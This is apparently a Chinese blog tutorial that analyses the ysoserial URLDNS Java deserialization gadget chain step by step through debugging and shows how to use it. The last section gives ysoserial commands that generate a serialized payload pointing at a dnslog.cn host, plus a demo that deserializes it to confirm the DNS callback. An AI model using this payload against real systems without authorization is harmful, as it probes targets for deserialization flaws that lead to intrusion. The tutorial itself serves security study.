一、简介
URLDNS
这条链,并不能用来执行其他命令来RCE
,只能用来发送一次DNS
请求到我们指定的网站上,然后我们就能查看是否有请求记录而来判断是否存在Java
的反序列化漏洞。简短的来说:URLDNS
只能用来探测和验证是否存在漏洞。看似没什么用,但其实在渗透测试的实战中,这种用DNS
请求来探测和验证漏洞的点到为止的思想还是挺常用的。而且这个Gadget
还不需要任何其他的依赖,原生Java
就能够成功调用成功。
二、流程分析
如上文所述,此Gadget
不需要其他的以来,所以直接创建一个Java项目来进行测试。
为了方便的进行分析可以从github
上下载ysoserial
的源码来辅助理解此Gadget
1、基础理论
文件定位:ysoserial-master\src\main\java\ysoserial\payloads\URLDNS.java
部分payload如下:
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
注释中的Gadget
调用顺序如下:
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
在正式的调试阅读源代码前,我们需要理解HashMap的大致原理
HashMap是一种为提升操作效率的数据结构,本质在使用上还是存取key-value键值对的使用方式,但是在实现上引入了key值的HASH映射到一维数组的形式来实现,再进入了链表来解决hash碰撞问题(不同的key映射到数组同一位置)。
从键值对的设置和读取两方面来解释:
设置新键值对 key-value:
- 计算key的hash:Hash(k)
- 通过Hash(k)映射到有限的数组a的位置i
- 在a[i]的位置存入value
- 因为把计算出来的不同的key的hash映射到有限的数组长度,肯定会出现不同的key对应同一个数组位置i的情况。如果发现a[i]已经有了其他key的value,就放入这个i位置后面对应的链表(根据多少的情况可能变为树)中。
读取key的value:
- 计算key的hash:Hash(k)
- 通过Hash(k)映射到有限的数组a的位置i
- 读取在a[i]的位置的value
- 如果发现a[i]已经有了其他key的value,就遍历这个i位置后面对应的链表(根据多少的情况可能变为树)去查找这个key再去取值。
2、断点调试
在了解了HashMap之后开始进行断点调试,在ht.put(u, url);
处打上断点。
在Edit configurations
中设置好参数,debug
运行入口函数。
首先ht
对象的类为HashMap
,其中存在有反序列化入口readObject()
在readObject()
中在最后调用了putVal()
方法来进行了一次hash
计算
回到断点出跟进putVal()
方法,可以看见key
和value
两个参数中都是传入我们设置的DNSLOG
地址
继续跟入hash()
方法中
hash()
方法中传入的key
肯定不会为null
,会执行key.hashCode()
,跟入其中
这里的handler
是URLStreamHandler
的对象,hashCode
的值默认设置成了-1
,所以直接调用了handler.hashCode()
方法并重新赋值了hashCode
并返回,继续跟进
getProtocol()
方法会返回传入的协议,如http
在获取到协议后经过一次if
判断后将protocol
经过hashCode()
方法计算后的返回值加到了h
中,跟入hashCode()
方法中
这里的hashCode()
是String
中的方法,在进行了一系列的操作后将传入string
的hash
值返回回去。
继续往下调用了getHostAddress()
方法
在getHostAddress()
中先后调用了getHost()
、getByName()
两个方法,最终触发dnslog
的位置即为getByName(getHost())
来进行发送请求。
getByName()
会根据host
来确定主机名称的IP
地址,这肯定会触发DNS
请求。
最终调用链如下:
HashMap.readObject() => HashMap.putVal() => HashMap.hash() => URL.hashCode() =>
URLStreamHandler.hashCode() => URLStreamHandler.hashCode().getHostAddress => URLStreamHandler.hashCode().getHostAddress.InetAddress.getByName()
三、URLDNS链使用
将生成的序列化payload保存在一个txt里,后面用一个测试demo读取文件数据再给他反序列化一下,观察dnslog
请求就可以了。
java -jar ysoserial.jar URLDNS "http://ba0i6v.dnslog.cn"
java -jar ysoserial.jar URLDNS "http://ba0i6v.dnslog.cn" > URLDNS.txt
反序列化测试demo
package ysoserial.test;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class URLDNSTestDemo {
public static void main(String[] args) throws Exception {
FileInputStream fis = new FileInputStream("D:\\aq\\jarTools\\URLDNS.txt");
ObjectInputStream objectInputStream = new ObjectInputStream(fis);
objectInputStream.readObject();
}
}
运行一下demo
成功在DNSlog
获取到记录
评论